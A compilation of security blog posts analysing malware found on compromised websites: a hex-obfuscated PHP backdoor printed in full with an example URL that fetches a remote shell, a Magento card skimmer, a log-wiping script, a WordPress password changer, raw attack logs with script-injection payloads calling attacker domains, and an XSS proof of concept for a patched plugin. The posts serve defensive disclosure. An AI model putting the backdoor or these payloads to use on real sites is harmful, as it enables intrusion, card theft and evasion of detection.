Simple WAF Evasion Backdoor

Our team recently located a malicious PHP file on a compromised website which claims to evade web application firewalls, with the intention of downloading a malicious script to a compromised web-server.

<?php
$a = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$b = "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
var_dump($_REQUEST['a']($_REQUEST['b']));
$b($_REQUEST['c'], $a($_REQUEST['d']));
?>

The $a variable contains hexadecimal encoded text for the built-in PHP function file_get_contents which grabs the malicious payload from a third party website.

The $b variable is hexadecimal encoded text for the PHP function file_put_contents, which writes the contents to a file within the compromised environment.

The function var_dump essentially outputs the following _REQUEST variables, which are defined by URL parameters:

a= PHP function
b= function arguments
c= directory path you want to create with the malicious payload
d= location of the malicious payload

An example of these URL parameters in action would be the following URI, where waf.php contains the malicious code.

waf.php?a=system&b=ls+-lhart&c=/var/www/html/wordpress/shell.php&d=https%3A%2F%2Fpastebin.com%2Fraw%2Fh5fBwuqW

example url parameters on a simple waf evasion backdoor

If the website isn’t protected behind a firewall, then the PHP function system is executed along with its argument (in this case ls -lhart) and the malicious payload is downloaded from the defined source to the defined location — all of which is set in the GET request.

This malware tries to be evasive by using the hexadecimal format for its PHP functions of file_get_contents and file_put_contents. More importantly, it allows the attacker to provide the PHP function system through a HTTP GET URL parameter so that it isn’t stored in the file itself. This can help to prevent certain server side malware scanners from detecting it as malicious, since it does nothing without the crafted GET request.

While advertised as a method of bypassing WAFs - it is easily flagged as a RFI/LFI attempt by the Sucuri Firewall.

firewall blocking malicious behavior for backdoor

Magento Skimmer Found Loading from magecart[.]net

We recently came across a simple Magento credit card skimmer found on a compromised website that was loading from the malicious domain magecart[.]net.

The malicious domain was first registered on December 8th, 2019 and is likely a blatant play on the hacker groups known under the collective name MageCart. This renowned group of threat actors regularly targets online shopping carts to steal payment and personal information.

We located the malicious file at ./pub/static/frontend/Infortis/ultimo/en_US/Magento_Checkout/template/billing-address.html on the compromised Magento website.

compromised magento website credit card skimmer iframe

The skimmer loads an iframe from a single line from HTML file onto the checkout page of a compromised Magento website, offering users a legitimate-looking area to input payment purchase information.

checkout form field on compromised magento site

A form field is then used to collect the payment card details and personal information of the victim.

Once all fields have been populated with data, a click event from the form submission triggers the function pay_save to exfiltrate the unencrypted stolen information back to the malicious domain magecart[.]net.

compromised magento website credit card skimmer data exfiltration

Data exfiltration is performed using JavaScript to capture the input from the form’s interface, then collects and condenses the information to the result variable so that it can finally be sent to a PHP script on the malicious magecart[.]net domain.

Clean Logs After Rooting Bash Script

During an active research investigation, we found an interesting bash script described by the author as Clean Logs After Rooting.

This script is used once an attacker has gained unauthorized root access to the server to scrub logs and prevent a website administrator from detecting such unauthorized access.

First, the script stops the server’s logging service located at /etc/init.d/rsyslog.

clean logs after root disable /etc/init.d/rsyslog

It then echos matikan system log, the word for disable in Indonesian, to notify the attacker that the service has stopped.

clean logs after root overwrite log data

After a 2 second pause, it cycles through a list of common logs located in the /var/log/ directory to see if they exist or not:

wtmp
btmp
lastlog
messages
secure
up2date
tallylog
mcelog
kernellog
cron

If the logs exist, then the script uses echo > on the log entry files to tell the system to echo empty file content, essentially overwriting all existing log data for those files.

It then accesses logs from the web server and overwrites all existing log data from those locations.

clean logs after root disable common logs

Because logging has been disabled, no additional information will be populated in any of the log locations.

The script also contains some special commands for cPanel environments. The bash terminal command chattr -ia is used to unlock the cPanel files by changing the file attributes. It also wipes data from cPanel logs used for monitoring various server activity.

clean logs after root wipe cPanel

To further prevent detection of unauthorized access, the script then clears the bash history with the history -c command.

This bash script is especially dangerous for VPS and dedicated environments, since root access is not controlled by the web host and they are typically not as hardened as shared hosting servers.

WordPress Mass Password Changer

Our team recently came across a password changer for WordPress that allows attackers to modify WordPress user passwords within a compromised environment.

wordpress mass password changer php file

By default, the tool is set to target user ID=1, which is almost always the administrative user. This tool is fairly customizable, allowing attackers to modify or target all usernames and passwords within the WordPress installation.

wordpress mass password changer user interface

To initiate a password change, the attacker defines the location of the wp-config.php file in the Config List.

When the Submit button is pressed, the script sends a POST request containing data like the username and password to the PHP file.

wordpress mass password changer success notification

The URL is then gathered from the config list provided in the interface, and pulls database information from wp-config.php to change the username and information for the profile.

The function file_get_contents2 is a custom function that grabs the data using curl and drops the changes into a pchangedlist.txt file for future reference.

Plugins added to Malware Campaign: November 2019

This is an update for the long-lasting malware campaign targeting vulnerable plugins since January. Please check our previous updates below:

Plugins Under Attack: November 2019

Although attackers focused on infecting sites via attack vectors described here, we were able to detect the same behavior aiming plugins at the very end of this month.

Plugins that are continuing to be leveraged by attackers are:

Plugin Payloads Added to the Campaign

Folders

46.101.174.128 - type=attachment&width=%3C%2Fstyle%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Ftop.worldctraffic.com%2Ftop%27%3E%3C%2Fscript%3E%3Cstyle%3E [23/Nov/2019:12:19:33 +0000] "POST /wp-admin/admin-ajax.php?action=wcp_change_post_width HTTP/1.1" 

Simple Fields

46.101.174.128 - action=simple_fields_do_import&import-json=%7B%0A++++%22field_groups%22%3A+%7B%0A++++++++%221%22%3A+%7B%0A++++++++++++%22id%22%3A+1%2C%0A++++++++++++%22key%22%3A+%22test%22%2C%0A++++++++++++%22slug%22%3A+%22test%22%2C%0A++++++++++++%22name%22%3A+%22test%22%2C%0A++++++++++++%22description%22%3A+%22%22%2C%0A++++++++++++%22repeatable%22%3A+false%2C%0A++++++++++++%22fields%22%3A+%5B%5D%2C%0A++++++++++++%22fields_by_slug%22%3A+%5B%5D%2C%0A++++++++++++%22deleted%22%3A+false%2C%0A++++++++++++%22gui_view%...skipped...%22deleted%22%3A+false%2C%0A++++++++++++%22hide_editor%22%3A+false%2C%0A++++++++++++%22added_with_code%22%3A+false%2C%0A++++++++++++%22field_groups_count%22%3A+1%0A++++++++%7D%0A++++%7D%2C%0A++++%22post_type_defaults%22%3A+%5B%0A++++++++false%0A++++%5D%0A%7D&import-what=textarea&simple-fields-import-type=replace [23/Nov/2019:13:02:05 +0000] "POST /wp-admin/admin-post.php HTTP/1.1" 

Malicious Domains and IPs:

IPs:

198.12.70.83
89.238.167.46
181.58.70.192
84.237.142.110
91.215.187.211
46.101.174.128

Domains Injected:

  • https[:]//top[.]worldctraffic[.]com/cas?/java.js?t=2&

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.

Wrong content-type to XSS

WordPress Social Sharing Plugin – Sassy Social Share, which currently has over 100000 installations just fixed a Cross Site Scripting Vulnerability. This bug allows attackers to send custom links that direct unsuspecting users toward a vulnerable page. From this page, they often employ a variety of methods to trigger their proof of concept.

Let’s take a look to the patch:

+++ b/sassy-social-share.new/public/class-sassy-social-share-public.php
@@ -1511,6 +1511,7 @@ class Sassy_Social_Share_Public {
        private function ajax_response( $response ) {
                $response = apply_filters( 'heateor_sss_ajax_response_filter', $response );
+               header( 'Content-Type: application/json' );
                die( json_encode( $response ) );

        }
@@ -1540,7 +1541,7 @@ class Sassy_Social_Share_Public {
                if ( isset( $_GET['urls'] ) && count( $_GET['urls'] ) > 0 ) {
                        $target_urls = array_unique( $_GET['urls'] );
                        foreach ( $target_urls as $k => $v ) {
-                               $target_urls[$k] = esc_attr( $v );
+                               $target_urls[esc_attr( $k )] = esc_attr( $v );
                        }
                }

JSON data returned to the user didn’t have a content type defined in the function _ajaxresponse() and the default is html. This together with the following snipped allowing any authenticated user consume that endpoint makes this bug really easy for attackers to exploit:

includes/class-sassy-social-share.php
205:        add_action( 'wp_ajax_heateor_sss_sharing_count', array( $plugin_public, 'fetch_share_counts' ) );
206:        add_action( 'wp_ajax_nopriv_heateor_sss_sharing_count', array( $plugin_public, 'fetch_share_counts' ) );

Because of the nature of the bug, and due this issue was already fixed, we can share a simple PoC that shows how a malicious link abusing this vulnerability might be presented:

http://vulnerablesite.com/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[<h onmouseover%3Dalert(1)>]=hola.com&urls[1]=hola2.com

If you have an old version of this plugin installed please update to the latest version (3.3.4) asap. You can add a WAF as a second layer of protection and virtually patch the vulnerability.

Plugins added to Malware Campaign: October 2019

This is an update for the long-lasting malware campaign targeting vulnerable plugins during August and September. Please check our previous updates below:

Plugins Under Attack: October 2019

Plugins that are continuing to be leveraged by attackers are:

Plugin Payloads Added to the Campaign

Blog Designer

185.238.0.214 - action=save&blog_nonce=save&custom_css=%3C%2Fstyle%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27%26%23x64%3B%26%23x61%3B%26%23x74%3B%26%23x61%3B%26colon%3B%26%23x74%3B%26%23x65%3B%26%23x78%3B%26%23x74%3B%26sol%3B...skipped...%3B%26lpar%3B%26%23x63%3B%26rpar%3B%26semi%3B%26rcub%3B%27%3E%3C%2Fscript%3E%3Cstyle%3E&updated=true] "POST /wp-admin/admin-ajax.php HTTP/1.1"

WPeMatico RSS Feed Fetcher

159.65.65.204 - "GET /wp-admin/admin-post.php?wpematico-action=settings_tab_settings HTTP/1.1" 200 5 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0" 

Smart Google Code Inserter

192.169.159.241 - action=savegooglecode&home=https://track.beforwardplay.com/track/uu?t=1&&sgcgoogleanalytic=<script type=text/javascript src='data&colon;text&sol;javascript&comma;if&lpar;document&period;head&rpar;&lcub;&Tab;var b &equals; document&semi;var c &equals; b&period;createEle&#...skipped...arCode&lpar;104&comma;101&comma;97&comma;100&rpar;&rpar;&lsqb;0&rsqb;&period;appendChild&lpar;c&rpar;&semi;&rcub;'></script>&sgcwebtools=&siteurl=https://track.beforwardplay.com/track/uu.js?t=1& "POST /wp-admin/admin-ajax.php HTTP/1.1"

Post Custom Templates Lite

192.99.38.186 - otw_pctl_action=manage_otw_pctl_options&otw_pctl_custom_css=</textarea><script type=text/javascript src='data&colon;text&sol;javascript&comma;if&lpar;document&period;head&rpar;&lcub;&Tab;var b &equals; document&semi;var&...skipped...&lpar;c&rpar;&semi;&rcub;'></script> "POST /wp-admin/admin-post.php HTTP/1.1" 

Woody Ad Snippets

162.241.149.54 - --fa51ba6a52e563a3b66864f78f10c9009cf9ed0c0018b2e8242f0db167a5\x0D\x0AContent-Disposition: form-data; name=\x22wbcr_inp_import_files\x22; filename=\x22lc.json\x22\x0D\x0AContent-Type: application/json\x0D\x0A\x0D\x0A{\x22generator\x22:\x22x\x22,\x22date_created\x22:\x22x\x22,\x22snippets\x22:[{\x22name\x22:\x22x\x22,\x22title\x22:\x22\x22,\x22content\x22:\x22x\x22,\x22location\x22:\x22header\x22,\x22type\x22:\x22php\x22,\x22filters\x22:\x22\x22,\x22changed_filters\x22:\x220\x22,\x22scope\x22:\x22everywhere\x22,\x22description\x22:\x22<script type=text/javascript src='https://cls.balantfromsun.com/cls.js?z=1&&v=2'></script>\x22,\x22attributes\x22:\x22\x22,\x22tags\x22:[]}]}\x0D\x0A--fa51ba6a52e563a3b66864f78f10c9009cf9ed0c0018b2e8242f0db167a5\x0D\x0AContent-Disposition: form-data; name=\x22swpsmtp_import_settings\x22\x0D\x0A\x0D\x0A1\x0D\x0A--fa51ba6a52e563a3b66864f78f10c9009cf9ed0c0018b2e8242f0db167a5\x0D\x0AContent-Disposition: form-data; name=\x22action\x22\x0D\x0A\x0D\x0Aswpsmtp_clear_log\x0D\x0A--fa51ba6a52e563a3b66864f78f10c9009cf9ed0c0018b2e8242f0db167a5--\x0D\x0A] "POST /wp-admin/admin-post.php HTTP/1.1"

FV Flowplayer Video Player

162.241.149.54 - action=fv_wp_flowplayer_email_signup&email=%3Csvg%2Fonload%3Deval%28String.fromCharCode%2832%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C40%2C41%2C32%2C123%2C10%2C32%2C32%2C32%2C32%2C118%2C97%2C114%2C32%2C101%2C108%2C101%2C109%2C32%2C61%2C32%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C99%2C114%2C101%2C97%2C116%2C101%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C40%2C39%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C41%2C59%2C32%2C10%2C9%2C101%2C108%2C101%2C109%2C46%2C116%2C121%2C112%2C101%2C32%2C61%2C32%2C39%2C116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%2C39%2C59%2C32%2C10%2C32%2C32%2C32%2C32%2C101%2C108%2C101%2C109%2C46%2C115%2C114%2C99%2C32%2C61%2C32%2C39%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C99%2C108%2C115%2C46%2C98%2C97%2C108%2C97%2C110%2C116%2C102%2C114%2C111%2C109%2C115%2C117%2C110%2C46%2C99%2C111%2C109%2C47%2C99%2C108%2C115%2C46%2C106%2C115%2C63%2C122%2C61%2C49%2C55%2C38%2C39%2C59%2C10%2C32%2C32%2C32%2C32%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C103%2C101%2C116%2C69%2C108%2C101%2C109%2C101%2C110%2C116%2C115%2C66%2C121%2C84%2C97%2C103%2C78%2C97%2C109%2C101%2C40%2C34%2C104%2C101%2C97%2C100%2C34%2C41%2C91%2C48%2C93%2C46%2C97%2C112%2C112%2C101%2C110%2C100%2C67%2C104%2C105%2C108%2C100%2C40%2C101%2C108%2C101%2C109%2C41%2C59%2C10%2C32%2C32%2C125%2C41%2C40%2C41%2C59%29%29%3E%40test.com&list=1 [08/Oct/2019:12:54:03 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1"

Poll, Survey, Form & Quiz Maker

50.63.162.9 -  "GET /wp-admin/admin-post.php?page=opinionstage-content-login-callback-page&email=\x22><script type=text/javascript src='https://cd.privacylocationforloc.com/track&v15'></script> HTTP/1.1"

DELUCKS SEO

167.99.232.64 - dpc%5Bbasic_metadata%5D%5Battachments%5D%5Bfollow%5D=follow&dpc%5Bbasic_metadata%5D%5Battachments%5D%5Bindex%5D=index&dpc%5Bbasic_metadata%5D%5Bcategories%5D%5B1%5D%5Bfollow%5D=follow&dpc%5Bbasic_metadata%5D%5Bcategories%5D%5B1%5D%5Bindex%5D=index&dpc%5Bbasic_metadata%5D%5Bdpc_status_basic_metadata%5D=1&dpc%5Bbasic_metadata%5D%5Ben%5D%5Barchives%5D%5Btitle%5D%5Bdelimiter%5D=-&dpc%5Bbasic_metadata%5D%5Ben%5D%5Barchives...skipped...5Bgoogle%5D=%22%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Fcd.privacylocationforloc.com%2Ftrack%26v9%27%3E%3C%2Fscript%3E&dpc%5Bbasic_metadata%5D%5Bverify%5D%5Bpinterest%5D=&dpc%5Bbasic_metadata%5D%5Bverify%5D%5Byandex%5D=%22%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Fcd.privacylocationforloc.com%2Ftrack%26v9%27%3E%3C%2Fscript%3E&dpc_save_settings=1 "POST /wp-admin/admin-post.php HTTP/1.1" 

Social Metrics Tracker

50.63.162.9 - gapi_client_id=%22%3E%3Cscript+type%3Dtext%2Fjavascript+src%3D%27https%3A%2F%2Fcd.privacylocationforloc.com%2Ftrack%26v5%27%3E%3C%2Fscript%3E "POST /wp-admin/admin-post.php?page=social-metrics-tracker-export&smt_download_export_file=1&section=gapi HTTP/1.1"

Malicious Domains and IPs:

IPs:

159.65.65.204
192.169.243.42
167.99.232.64
50.63.162.9
192.169.159.241
185.238.0.214
192.99.38.186
159.203.175.216
80.211.164.226
162.241.149.53
186.147.2.49

Domains Injected:

  • track[.]beforwardplay[.]com
  • cls[.]balantfromsun[.]com
  • cd[.]privacylocationforloc[.]com
  • bes[.]belaterbewasthere[.]com
  • ave[.]cervantes[.]es
  • hungthinhsg[.]com[.]vn

We strongly encourage you to keep your software up to date to prevent infection. You can add a WAF as a second layer of protection to virtually patch these vulnerabilities.